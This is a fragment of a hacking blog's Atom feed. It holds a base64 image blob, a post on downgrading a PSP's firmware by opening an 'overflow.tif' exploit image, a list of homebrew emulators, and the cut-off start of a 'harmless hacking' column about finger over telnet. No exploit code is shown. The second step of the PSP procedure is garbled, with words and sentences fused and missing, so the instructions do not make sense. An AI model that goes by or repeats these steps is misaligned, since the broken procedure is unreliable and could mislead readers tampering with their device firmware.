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&quot; /&gt;&lt;/ins&gt;
&lt;/h3&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;steps_list_2&quot;&gt;
&lt;li&gt;&lt;b class=&quot;whb&quot;&gt;Unzip the files MPHDowngrader&lt;/b&gt;.zip and 
EBOOT_1.50.zip. Use a program such as WinRAR, or WinZip. These files are
 the ones that shall be instrumental in both be moved into your root 
directory. Once this is done, open up the PSP folder and then enter into
 the Photo folder. Here, you will copy overflow.tif over, also removed 
from the MPH Downgrader folder, keeping it in the Photo directory and 
not in a sub directory.&lt;div class=&quot;wh_ad&quot;&gt;
&lt;div class=&quot;wh_ad_inner adunit0&quot;&gt;

&lt;ins style=&quot;border: medium none; display: inline-table; height: 60px; margin: 0pt; padding: 0pt; position: relative; visibility: visible; width: 468px;&quot;&gt;&lt;b class=&quot;whb&quot;&gt; &lt;/b&gt;&lt;/ins&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div class=&quot;step_num&quot;&gt;
2&lt;/div&gt;
&lt;b class=&quot;whb&quot;&gt;Backtrack to the PSP directory and then this time enter into the Game directory&lt;/b&gt;.
 If there is not alreadconnection and then go to the Photo icon on your 
PSP and scroll through the pictures to get to the overflow.tif file. Two
 strings of letters/numbers will appear as if something has gone wrong 
but this is and start it up. Go to prompts. WhenPANIC. Once again press 
the power switch up until it fully turns off. Now, turn the PSP back on.
 You will get another error. Just press the &quot;O&quot; button and it will 
restart after rebuilding the system data.&lt;/li&gt;
&lt;li class=&quot;steps_li final_li&quot;&gt;&lt;div class=&quot;step_num&quot;&gt;
3&lt;/div&gt;
&lt;b class=&quot;whb&quot;&gt;Figure out what to add with your brand new open-ended BIOS&lt;/b&gt;. If you search the web you will find a plethora of different options&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;NesterJ (NES Emulator) v1.11 - Ruka&#39;s Nintendo Entertainment System (NES) emulator for the PSP.&lt;/li&gt;
&lt;li&gt;Monkey64 v1.0 - The first N64 emulator for the Sony PSP. Written by PSmonkey.&lt;/li&gt;
&lt;li&gt;Homer&#39;s RIN v3.2 - Gameboy/Gameboy Color Emulator for the PSP.&lt;/li&gt;
&lt;li&gt;NeoCD PSP v0.9.1 - NeoGeo CD Emulator for your PSP. Released by 
ZeLurker, camiyu1, and Radius. Based on the emulator written/ported by 
YoyoFR&lt;/li&gt;
&lt;li&gt;SNES9X TYL v0.2c - An improved version of the SNES9x emulator by yoyofr&lt;/li&gt;
&lt;li&gt;DGEN SEGA Genesis / Mega Drive v0.70 - A new SEGA Genesis (Mega Drive) emulator for your PSP.&lt;/li&gt;
&lt;li&gt;PSPUAE - Amiga computer system emulator for various amiga verions (games, etc.)&lt;/li&gt;
&lt;li&gt;HANDY 0.95.1 - LYNX emulator&lt;/li&gt;
&lt;li&gt;Atari800 2.0.3.27&lt;/li&gt;
&lt;li&gt;NP2 0.33 - PC98 emulator&lt;/li&gt;
&lt;li&gt;RACE - NEO-GEO Pocket emulator&lt;/li&gt;
&lt;li&gt;PSPKVM 0.5.2 - Java web applet player (100&#39;s of free games!)&lt;/li&gt;
&lt;li&gt;Daedalus X64 Beta 2 - another N64 emulator (plays only some games)&lt;/li&gt;
&lt;li&gt;PJAG - emulator&lt;/li&gt;
&lt;li&gt;ScummVM-PSP - emulator&lt;/li&gt;
&lt;li&gt;WTH - Wagic: the Gathering, like Magic: the Gathering&lt;/li&gt;
&lt;li&gt;Book Reader 8.1 - Ebook reader for a couple of formats&lt;/li&gt;
&lt;li&gt;PSPHUGO 1.2.0 - PC Engine/Turbografx emulator&lt;/li&gt;
&lt;li&gt;PSP7800 1.2.0 - Atari 7800 emulator&lt;/li&gt;
&lt;li&gt;ColEm PSP 2.5.1 - ColecoVision emulator&lt;/li&gt;
&lt;li&gt;Picodrive - Genesis &amp;amp; Sega CD emulator&lt;/li&gt;
&lt;li&gt;fMSX PSP 3.5.35 - MSX computer system emulator (games, etc.)&lt;/li&gt;
&lt;li&gt;PSP-PDA 1.3.2 - Adds PDA-like functionality to your PSP (includes IR
 keyboard functionality for PSP 1000 series just like a real PDA)&lt;/li&gt;
&lt;li&gt;Caprice32 PSP 4.2.02 - emulator&lt;/li&gt;
&lt;li&gt;MAME4All PSP 4.9r2 - Multiple Arcade Machine Emulator&lt;/li&gt;
&lt;li&gt;CaSTaway - Atari ST emulator&lt;/li&gt;
&lt;li&gt;MVSPSP 2.3.1 - NEO-GEO emulator&lt;/li&gt;
&lt;li&gt;CPS2PSP 2.3.1 - NEO-GEO emulator&lt;/li&gt;
&lt;li&gt;NCDZPSP 2.3.1 - NEO-GEO CD&lt;/li&gt;
&lt;li&gt;Red Dragon 0.38 - Virtual Boy emulator (may not work; still in alpha phase)&lt;/li&gt;
&lt;li&gt;MasterBoy 2.02 - Game Boy, Game Boy Color, Sega Master System, Sega Game Gear emulator&lt;/li&gt;
&lt;li&gt;pSpectrum 1.04 - Spectrum computer system emulator (games, etc)&lt;/li&gt;
&lt;li&gt;Lua Player 0.20 - Plays &quot;Lua&quot; files: special applications of which there are dozens.&lt;/li&gt;
&lt;li&gt;Apple II Portable 0.1 Build 0173 - Apple II emulator&lt;/li&gt;
&lt;li&gt;pSwan 0.07 - emulator&lt;/li&gt;
&lt;li&gt;Stella 0.2 - Atari emulator&lt;/li&gt;
&lt;li&gt;Pikey (Pi Key) 0.5 - Adds keyboard functionality for IR keyboards 
for PSP model 1000 series. (Currently the Targus model works perfectly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/7536187333601601743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/7536187333601601743?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/7536187333601601743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/7536187333601601743'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2013/04/how-to-hack-psp.html' title='How To hack psp'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-4600727817163860378</id><published>2013-04-17T21:12:00.003-07:00</published><updated>2013-04-18T22:32:50.311-07:00</updated><title type='text'> GUIDE TO (mostly) HARMLESS HACKING</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt0urG9wk4_-_eUBWykNZSRqb8F2yKMdTA3HUXJnlTDGQNUN1S-vN5XhilGcIqq51aC1UpBJxxTtKQb1HRdBrLkiST60CB-7hnwNM3vlFJj05tDxOTs8PgChdzFx4rxb5P_6x1yq8AWI4/s1600/password.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt0urG9wk4_-_eUBWykNZSRqb8F2yKMdTA3HUXJnlTDGQNUN1S-vN5XhilGcIqq51aC1UpBJxxTtKQb1HRdBrLkiST60CB-7hnwNM3vlFJj05tDxOTs8PgChdzFx4rxb5P_6x1yq8AWI4/s320/password.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
______________________________________________________&lt;br /&gt;
&lt;br /&gt;
GUIDE TO (mostly) HARMLESS HACKING&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hacking tip of this column: how to finger a user via telnet.&lt;br /&gt;
